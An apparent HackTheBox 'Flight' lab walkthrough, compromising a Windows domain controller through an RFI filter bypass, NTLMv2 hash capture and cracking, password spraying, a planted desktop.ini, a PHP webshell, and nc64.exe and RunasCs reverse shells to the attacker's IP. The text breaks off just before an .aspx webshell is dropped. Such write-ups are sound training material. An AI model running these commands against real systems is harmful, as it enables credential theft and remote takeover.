Overview

Flight is a Hard Windows Machine from HTB created by Geiseric which starts off with an RFI vulnerability to capture an NTLMv2 hash. This hash can be cracked and password sprayed to get a hit on different Domain User. This user has write acess to a share so I’ll use ntlm_theft to generate an .ini file which lets me capture another NTLMv2 hash for another user. I can crack this hash to get creds for a user that can write to the share that controls the website. So I’ll drop a webshell on the site to get a shell as svc_apache. I’ll then use RunasCs.exe to get a shell as C.Bum, a previously owned user. With that shell I have write access over an internal website running IIS, so I drop an .aspx webshell on there to get a shell as defaultapppool. This account has SeImpersonatePrivilege, which allows me to gain SYSTEM level access via GodPotato.exe.

Nmap Scan

I’ll run nmap to discover open ports:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
獣 ~/htb/Flight/scans/tcp ➜ nmap -sCV --top-ports 10000 -T4 -vvvv 10.10.11.187 -oA flight
# Nmap 7.94SVN scan initiated Wed Oct 30 22:23:07 2024 as: /usr/lib/nmap/nmap -sCV --top-ports 10000 -T4 -vvvv -oA flight 10.10.11.187
Nmap scan report for 10.10.11.187
Host is up, received echo-reply ttl 127 (0.091s latency).
Scanned at 2024-10-30 22:23:07 EDT for 77s
Not shown: 8355 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
80/tcp open http syn-ack ttl 127 Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-title: g0 Aviation
| http-methods:
| Supported Methods: OPTIONS HEAD GET POST TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2024-10-31 09:23:33Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 32072/tcp): CLEAN (Timeout)
| Check 2 (port 38186/tcp): CLEAN (Timeout)
| Check 3 (port 44855/udp): CLEAN (Timeout)
| Check 4 (port 45283/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time:
| date: 2024-10-31T09:23:43
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 6h59m56s

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Oct 30 22:24:24 2024 -- 1 IP address (1 host up) scanned in 77.29 seconds

I can see all the default ports that would be open on a DC. But I also see 80/tcp which is HTTP, I’ll start by checking there for a foothold.

Recon

80 - HTTP

Going to the site, I am presented with a site for planning flights:

Image

I can see a domain name in the bottom left of the page:

1
Copyright 2022 flight.htb - All Rights Reserved

I’ll add this to my /etc/hosts file and I’ll look for subdomains:

1
2
3
4
5
6
7
8
9
10
11
12
13
獣 ~/htb/Flight/enumeration ➜ wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://flight.htb -H 'Host: FUZZ.flight.htb' --hw 530
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://flight.htb/
Total requests: 19966

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000000624: 200 90 L 412 W 3996 Ch "school"

I get one result, school.flight.htb. I’ll add this to my /etc/hosts file:

1
10.10.11.187	school.flight.htb flight.htb

I’ll now visit http://school.flight.htb:

Image

Going to any of the pages such as About Us puts a param in the URL:

1
http://school.flight.htb/index.php?view=about.html

Seems like a generic LFI vulnerability.

Auth as svc_apache

LFI

I’ll try to read the hosts file as a PoC:

1
http://school.flight.htb/index.php?view=\windows\system32\drivers\etc\hosts

I get an error message:

Image

This is probably since there is a filter checking my input to prevent LFI. I’ll try using forward slashes instead:

1
http://school.flight.htb/index.php?view=/windows/system32/drivers/etc/hosts

This worked to bypass the filter and I get LFI:

Image

RFI

The LFI doesn’t really do anything for me since I can’t read any sensitive files. One common thing I’d try here is using a UNC path to pull resources from a remote host. I’d usually use a payload like this:

1
\\<tun0>\share

But back slashes are blocked by the filter, so using forward slashes once again can bypass the filter:

1
http://school.flight.htb/index.php?view=//10.10.14.10/share

And before sending this request I’ll start an SMB server via impacket-smbserver:

1
2
3
4
5
6
7
8
獣 ~/htb/Flight/enumeration ➜ impacket-smbserver share . -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed

Now I’ll send the request to the site with a UNC path to my host and I get an NTLMv2 hash for the svc_apache user:

Image

Cracking The Hash

I’ll save this hash to a file named svc_apache.hash:

1
2
獣 ~/htb/Flight/enumeration ➜ cat svc_apache.hash
svc_apache::flight:aaaaaaaaaaaaaaaa:dc0f53e5772345abdab8b3b20210de78:0101000000000000008b94493e2bdb013320f02a6a99a1e500000000010010006f006900620041005200730045006e00030010006f006900620041005200730045006e00020010004c004f00490041006c00570076006100040010004c004f00490041006c0057007600610007000800008b94493e2bdb0106000400020000000800300030000000000000000000000000300000633f366a1f6ae0c096e174aa78e6b3171c6cd46d975d297e389b0d5a14bfdead0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00310030000000000000000000

And I’ll crack it using rockyou.txt with hashcat:

1
2
3
4
5
6
7
8
9
10
獣 ~/htb/Flight/enumeration ➜ hashcat -a 0 svc_apache.hash /usr/share/wordlists/rockyou.txt --show
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

5600 | NetNTLMv2 | Network Protocol

NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.

SVC_APACHE::flight:aaaaaaaaaaaaaaaa:dc0f53e5772345abdab8b3b20210de78:0101000000000000008b94493e2bdb013320f02a6a99a1e500000000010010006f006900620041005200730045006e00030010006f006900620041005200730045006e00020010004c004f00490041006c00570076006100040010004c004f00490041006c0057007600610007000800008b94493e2bdb0106000400020000000800300030000000000000000000000000300000633f366a1f6ae0c096e174aa78e6b3171c6cd46d975d297e389b0d5a14bfdead0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00310030000000000000000000:S@Ss!K@*t13

This gives me a pair of creds to try out:

1
svc_apache \ S@Ss!K@*t13

Testing Auth

I’ll use nxc to try authenticating over SMB with these creds:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
獣 ~/htb/Flight/enumeration ➜ nxc smb 10.10.11.187 -u svc_apache -p 'S@Ss!K@*t13' --shares
SMB 10.10.11.187 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.187 445 G0 [+] flight.htb\svc_apache:S@Ss!K@*t13
SMB 10.10.11.187 445 G0 [*] Enumerated shares
SMB 10.10.11.187 445 G0 Share Permissions Remark
SMB 10.10.11.187 445 G0 ----- ----------- ------
SMB 10.10.11.187 445 G0 ADMIN$ Remote Admin
SMB 10.10.11.187 445 G0 C$ Default share
SMB 10.10.11.187 445 G0 IPC$ READ Remote IPC
SMB 10.10.11.187 445 G0 NETLOGON READ Logon server share
SMB 10.10.11.187 445 G0 Shared READ
SMB 10.10.11.187 445 G0 SYSVOL READ Logon server share
SMB 10.10.11.187 445 G0 Users READ
SMB 10.10.11.187 445 G0 Web READ

This worked as expected, and just so I don’t forget later, I’ll add the FQDN of the DC to my /etc/hosts:

1
2
獣 ~/htb/Flight/enumeration ➜ cat /etc/hosts | grep flight
10.10.11.187 G0.flight.htb school.flight.htb flight.htb

Auth as S.Moon

Spraying Creds

I’ll take the creds for svc_apache and I’ll preform a password spray. To do this I need usernames first so I’ll use lookupsid.py to get usernames:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
獣 ~/htb/Flight/enumeration ➜ lookupsid.py flight.htb/svc_apache@flight.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Password:
[*] Brute forcing SIDs at flight.htb
[*] StringBinding ncacn_np:flight.htb[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4078382237-1492182817-2568127209
498: flight\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: flight\Administrator (SidTypeUser)
501: flight\Guest (SidTypeUser)
502: flight\krbtgt (SidTypeUser)
512: flight\Domain Admins (SidTypeGroup)
513: flight\Domain Users (SidTypeGroup)
514: flight\Domain Guests (SidTypeGroup)
515: flight\Domain Computers (SidTypeGroup)
516: flight\Domain Controllers (SidTypeGroup)
517: flight\Cert Publishers (SidTypeAlias)
518: flight\Schema Admins (SidTypeGroup)
519: flight\Enterprise Admins (SidTypeGroup)
520: flight\Group Policy Creator Owners (SidTypeGroup)
521: flight\Read-only Domain Controllers (SidTypeGroup)
522: flight\Cloneable Domain Controllers (SidTypeGroup)
525: flight\Protected Users (SidTypeGroup)
526: flight\Key Admins (SidTypeGroup)
527: flight\Enterprise Key Admins (SidTypeGroup)
553: flight\RAS and IAS Servers (SidTypeAlias)
571: flight\Allowed RODC Password Replication Group (SidTypeAlias)
572: flight\Denied RODC Password Replication Group (SidTypeAlias)
1000: flight\Access-Denied Assistance Users (SidTypeAlias)
1001: flight\G0$ (SidTypeUser)
1102: flight\DnsAdmins (SidTypeAlias)
1103: flight\DnsUpdateProxy (SidTypeGroup)
1602: flight\S.Moon (SidTypeUser)
1603: flight\R.Cold (SidTypeUser)
1604: flight\G.Lors (SidTypeUser)
1605: flight\L.Kein (SidTypeUser)
1606: flight\M.Gold (SidTypeUser)
1607: flight\C.Bum (SidTypeUser)
1608: flight\W.Walker (SidTypeUser)
1609: flight\I.Francis (SidTypeUser)
1610: flight\D.Truff (SidTypeUser)
1611: flight\V.Stevens (SidTypeUser)
1612: flight\svc_apache (SidTypeUser)
1613: flight\O.Possum (SidTypeUser)
1614: flight\WebDevs (SidTypeGroup)

I’ll take the usernames from the output and I’ll put them in a file named users.txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
獣 ~/htb/Flight/enumeration ➜ cat users.txt
S.Moon
R.Cold
G.Lors
L.Kein
M.Gold
C.Bum
W.Walker
I.Francis
D.Truff
V.Stevens
svc_apache
O.Possum

And I’ll use nxc to spray the password:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
獣 ~/htb/Flight/enumeration ➜ nxc smb G0.flight.htb -u users.txt -p 'S@Ss!K@*t13' --no-bruteforce --continue-on-success
SMB 10.10.11.187 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.187 445 G0 [+] flight.htb\S.Moon:S@Ss!K@*t13
SMB 10.10.11.187 445 G0 [-] flight.htb\R.Cold:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight.htb\G.Lors:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight.htb\L.Kein:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight.htb\M.Gold:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight.htb\C.Bum:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight.htb\W.Walker:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight.htb\I.Francis:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight.htb\D.Truff:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight.htb\V.Stevens:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [+] flight.htb\svc_apache:S@Ss!K@*t13
SMB 10.10.11.187 445 G0 [-] flight.htb\O.Possum:S@Ss!K@*t13 STATUS_LOGON_FAILURE

I get two hits, one for svc_apache as expected, but also one for S.Moon:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
獣 ~/htb/Flight/enumeration ➜ nxc smb G0.flight.htb -u S.Moon -p 'S@Ss!K@*t13' --shares
SMB 10.10.11.187 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.187 445 G0 [+] flight.htb\S.Moon:S@Ss!K@*t13
SMB 10.10.11.187 445 G0 [*] Enumerated shares
SMB 10.10.11.187 445 G0 Share Permissions Remark
SMB 10.10.11.187 445 G0 ----- ----------- ------
SMB 10.10.11.187 445 G0 ADMIN$ Remote Admin
SMB 10.10.11.187 445 G0 C$ Default share
SMB 10.10.11.187 445 G0 IPC$ READ Remote IPC
SMB 10.10.11.187 445 G0 NETLOGON READ Logon server share
SMB 10.10.11.187 445 G0 Shared READ,WRITE
SMB 10.10.11.187 445 G0 SYSVOL READ Logon server share
SMB 10.10.11.187 445 G0 Users READ
SMB 10.10.11.187 445 G0 Web READ

Auth as C.Bum

Capturing The NTLMv2 Hash

From the nxc output, I can see that I can write to a share named Shared:

1
2
3
4
5
6
7
8
獣 ~/htb/Flight/enumeration ➜ impacket-smbclient flight.htb/S.Moon@G0.flight.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Password:
Type help for list of commands
# use Shared
# put test.txt
[-] SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.

I don’t have access for putting test.txt, this is probably because of the file type. After some enum I find that .ini files can be uploaded:

1
2
3
4
5
6
7
8
9
10
11
12
獣 ~/htb/Flight/enumeration ➜ mv test.txt test.ini
獣 ~/htb/Flight/enumeration ➜ impacket-smbclient flight.htb/S.Moon@G0.flight.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Password:
Type help for list of commands
# use Shared
# put test.ini
# ls
drw-rw-rw- 0 Thu Oct 31 06:10:56 2024 .
drw-rw-rw- 0 Thu Oct 31 06:10:56 2024 ..
-rw-rw-rw- 6 Thu Oct 31 06:10:56 2024 test.ini

Since .ini files can steal NTLMv2 hashes, I’ll use ntlm_theft to try to capture another NTLMv2 hash using a fake desktop.ini that pulls a resource from my SMB server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
獣 ~/htb/Flight/enumeration ➜ python3 /opt/tools/ntlm_theft/ntlm_theft.py -s 10.10.14.10 -f desktop -g desktopini
Created: desktop/desktop.ini (BROWSE TO FOLDER)
Generation Complete.
獣 ~/htb/Flight/enumeration ➜ ls desktop
desktop.ini
獣 ~/htb/Flight/enumeration ➜ mv desktop/desktop.ini .
獣 ~/htb/Flight/enumeration ➜ rm -r desktop
獣 ~/htb/Flight/enumeration ➜ impacket-smbclient flight.htb/S.Moon@G0.flight.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Password:
Type help for list of commands
# use Shared
# put desktop.ini
# exit

And in a few seconds I capture a NTLMv2 hash for c.bum:

1
2
3
4
5
6
7
8
9
10
11
12
獣 ~/Documents/hexo ➜ impacket-smbserver share . -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.11.187,49893)
[*] AUTHENTICATE_MESSAGE (flight.htb\c.bum,G0)
[*] User G0\c.bum authenticated successfully
[*] c.bum::flight.htb:aaaaaaaaaaaaaaaa:448890c2d4014934d713f8aee83daf5d:010100000000000000cc18ee422bdb01f9ad284524c0f658000000000100100074004d00760046006f005200450070000300100074004d00760046006f00520045007000020010006800460066004b006a00730065004700040010006800460066004b006a007300650047000700080000cc18ee422bdb0106000400020000000800300030000000000000000000000000300000633f366a1f6ae0c096e174aa78e6b3171c6cd46d975d297e389b0d5a14bfdead0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00310030000000000000000000

Cracking The Hash

I’ll crack this hash with hashcat just like last time:

1
2
3
4
5
6
7
8
9
10
獣 ~/Documents/hexo ➜ hashcat -a 0 cbum.hash /usr/share/wordlists/rockyou.txt --show
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

5600 | NetNTLMv2 | Network Protocol

NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.

C.BUM::flight.htb:aaaaaaaaaaaaaaaa:448890c2d4014934d713f8aee83daf5d:01010000000...snip...00000000:Tikkycoll_431012284

Testing The Auth

Now I have another pair of creds:

1
c.bum \ Tikkycoll_431012284

I’ll test the auth via nxc over LDAP:

1
2
3
獣 ~/htb/Flight/enumeration ➜ nxc ldap G0.flight.htb -u C.Bum -p 'Tikkycoll_431012284'
SMB 10.10.11.187 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.187 389 G0 [+] flight.htb\C.Bum:Tikkycoll_431012284

Shell As svc_apache

Dropping A Webshell

I’ll check what shares I can access as C.Bum:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
獣 ~/htb/Flight/enumeration ➜ nxc smb G0.flight.htb -u C.Bum -p 'Tikkycoll_431012284' --shares
SMB 10.10.11.187 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.187 445 G0 [+] flight.htb\C.Bum:Tikkycoll_431012284
SMB 10.10.11.187 445 G0 [*] Enumerated shares
SMB 10.10.11.187 445 G0 Share Permissions Remark
SMB 10.10.11.187 445 G0 ----- ----------- ------
SMB 10.10.11.187 445 G0 ADMIN$ Remote Admin
SMB 10.10.11.187 445 G0 C$ Default share
SMB 10.10.11.187 445 G0 IPC$ READ Remote IPC
SMB 10.10.11.187 445 G0 NETLOGON READ Logon server share
SMB 10.10.11.187 445 G0 Shared READ,WRITE
SMB 10.10.11.187 445 G0 SYSVOL READ Logon server share
SMB 10.10.11.187 445 G0 Users READ
SMB 10.10.11.187 445 G0 Web READ,WRITE

I can write to a Web share, I’ll check out whats in there:

1
2
3
4
5
6
7
8
9
10
11
獣 ~/htb/Flight/enumeration ➜ impacket-smbclient flight.htb/C.Bum@G0.flight.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Password:
Type help for list of commands
# use Web
# ls
drw-rw-rw- 0 Thu Oct 31 06:18:27 2024 .
drw-rw-rw- 0 Thu Oct 31 06:18:27 2024 ..
drw-rw-rw- 0 Thu Oct 31 06:17:00 2024 flight.htb
drw-rw-rw- 0 Thu Oct 31 06:17:00 2024 school.flight.htb

Seems like the root directory for both websites, I’ll try dropping a test.txt file to see if I can access it on the website:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
獣 ~/htb/Flight/enumeration ➜ impacket-smbclient flight.htb/C.Bum@G0.flight.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Password:
Type help for list of commands
# use Web
# cd school.flight.htb
# put test.txt
# ls
drw-rw-rw- 0 Thu Oct 31 06:19:08 2024 .
drw-rw-rw- 0 Thu Oct 31 06:19:08 2024 ..
-rw-rw-rw- 1689 Mon Oct 24 23:54:45 2022 about.html
-rw-rw-rw- 3618 Mon Oct 24 23:53:59 2022 blog.html
-rw-rw-rw- 2683 Mon Oct 24 23:56:58 2022 home.html
drw-rw-rw- 0 Thu Oct 31 06:17:00 2024 images
-rw-rw-rw- 2092 Thu Oct 27 03:59:25 2022 index.php
-rw-rw-rw- 179 Thu Oct 27 03:55:16 2022 lfi.html
drw-rw-rw- 0 Thu Oct 31 06:17:00 2024 styles
-rw-rw-rw- 6 Thu Oct 31 06:20:04 2024 test.txt

I’ll check if that file is there on the website:

Image

The file was written succesfully, and seeing as the site is running PHP, I’ll drop p0wny onto the website which is a PHP webshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
獣 ~/htb/Flight/enumeration ➜ cp /opt/tools/p0wny.php .

# put p0wny.php
# ls
drw-rw-rw- 0 Thu Oct 31 06:23:47 2024 .
drw-rw-rw- 0 Thu Oct 31 06:23:47 2024 ..
-rw-rw-rw- 1689 Mon Oct 24 23:54:45 2022 about.html
-rw-rw-rw- 3618 Mon Oct 24 23:53:59 2022 blog.html
-rw-rw-rw- 2683 Mon Oct 24 23:56:58 2022 home.html
drw-rw-rw- 0 Thu Oct 31 06:22:00 2024 images
-rw-rw-rw- 2092 Thu Oct 27 03:59:25 2022 index.php
-rw-rw-rw- 179 Thu Oct 27 03:55:16 2022 lfi.html
-rw-rw-rw- 20321 Thu Oct 31 06:23:47 2024 p0wny.php
drw-rw-rw- 0 Thu Oct 31 06:22:00 2024 styles

I’ll try to visit the webshell on the site to check if it was put there successfully:

Image

Geting a Rev Shell

I’ll get a reverse shell using nc64.exe, first I’ll download it:

1
2
3
4
5
6
7
8
svc_apache@g0:C:\xampp\htdocs\school.flight.htb# cd \programdata
svc_apache@g0:C:\ProgramData# curl http://10.10.14.10/nc64.exe -o nc64.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed

0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
100 45272 100 45272 0 0 117k 0 --:--:-- --:--:-- --:--:-- 117k
svc_apache@g0:C:\ProgramData# .\nc64.exe -e powershell.exe 10.10.14.10 443

Now I’ll check my nc listener:

1
2
3
4
5
6
7
8
9
獣 ~/htb/Flight/enumeration ➜ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.11.187] 49942
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\ProgramData> whoami
whoami
flight\svc_apache

Shell as C.Bum

Enum

I’ll run whoami /all to start off:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
PS C:\> whoami /all
whoami /all

USER INFORMATION
----------------

User Name SID
================= ==============================================
flight\svc_apache S-1-5-21-4078382237-1492182817-2568127209-1612


GROUP INFORMATION
-----------------

Group Name Type SID Attributes
========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288


PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

No interesting privs or groups, I’ll check C:\:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PS C:\> ls
ls

Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/31/2024 3:32 AM inetpub
d----- 6/7/2022 6:39 AM PerfLogs
d-r--- 10/21/2022 11:49 AM Program Files
d----- 7/20/2021 12:23 PM Program Files (x86)
d----- 10/31/2024 3:18 AM Shared
d----- 9/22/2022 12:28 PM StorageReports
d-r--- 9/22/2022 1:16 PM Users
d----- 10/21/2022 11:52 AM Windows
d----- 9/22/2022 1:16 PM xampp

I can see C:\xampp which is expected because of the two sites I saw earlier. But C:\inetpub is present, which means IIS is installed so I’ll check that out:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PS C:\> cd inetpub
cd inetpub
PS C:\inetpub> ls
ls


Directory: C:\inetpub


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/22/2022 12:24 PM custerr
d----- 10/31/2024 3:32 AM development
d----- 9/22/2022 1:08 PM history
d----- 9/22/2022 12:32 PM logs
d----- 9/22/2022 12:24 PM temp
d----- 9/22/2022 12:28 PM wwwroot

I see wwwroot is default, but development isn’t, so I’ll look at that:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
PS C:\inetpub> cd development
cd development
PS C:\inetpub\development> ls
ls

Directory: C:\inetpub\development

Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/31/2024 3:32 AM css
d----- 10/31/2024 3:32 AM fonts
d----- 10/31/2024 3:32 AM img
d----- 10/31/2024 3:32 AM js
-a---- 4/16/2018 2:23 PM 9371 contact.html
-a---- 4/16/2018 2:23 PM 45949 index.html

PS C:\inetpub\development> cat index.html
cat index.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<!--
Template 2093 Flight
http://www.tooplate.com/view/2093-flight

-->
<title>Flight - Travel and Tour</title>

...snip...

Seems like another site? I’ll use icacls to see the directory permissions:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PS C:\inetpub\development> cd ..
cd ..
PS C:\inetpub> icacls development
icacls development
development flight\C.Bum:(OI)(CI)(W)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(OI)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

Using RunasCs.exe

Very interesting, C.Bum (a previously pwned user) has write privs over this directory. Since I have his credentials I can get a shell as C.Bum via RunasCs.exe:

1
2
3
4
5
PS C:\programdata> curl http://10.10.14.10/RunasCs.exe -o RunasCs.exe
curl http://10.10.14.10/RunasCs.exe -o RunasCs.exe
PS C:\programdata> .\RunasCs.exe
.\RunasCs.exe
[-] Not enough arguments. 3 Arguments required. Use --help for additional help.

I’ll use C.Bum‘s creds to get powershell.exe:

1
2
3
4
5
6
7
PS C:\programdata> .\RunasCs.exe C.Bum Tikkycoll_431012284 -r 10.10.14.10:443 powershell.exe
.\RunasCs.exe C.Bum Tikkycoll_431012284 -r 10.10.14.10:443 powershell.exe
[*] Warning: The logon for user 'C.Bum' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-64120$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 4304 created in background.

This works and I get a shell as C.Bum:

1
2
3
4
5
6
7
8
9
獣 ~/htb/Flight/enumeration ➜ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.11.187] 49999
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
whoami
flight\c.bum

And with that I can grab the user flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PS C:\Windows\system32> cd \users\c.bum\desktop
cd \users\c.bum\desktop
PS C:\users\c.bum\desktop> ls
ls


Directory: C:\users\c.bum\desktop


Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 10/31/2024 2:14 AM 34 user.txt

PS C:\users\c.bum\desktop> cat user.txt
cat user.txt
396b41c<redacted>

Shell as defaultapppoll

Dropping A Webshell

I’ll try putting a webshell on the site since I know I can write to it now. Since its IIS I can’t use PHP, so instead I’ll use .aspx:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PS C:\> cd inetpub\development
cd inetpub\development
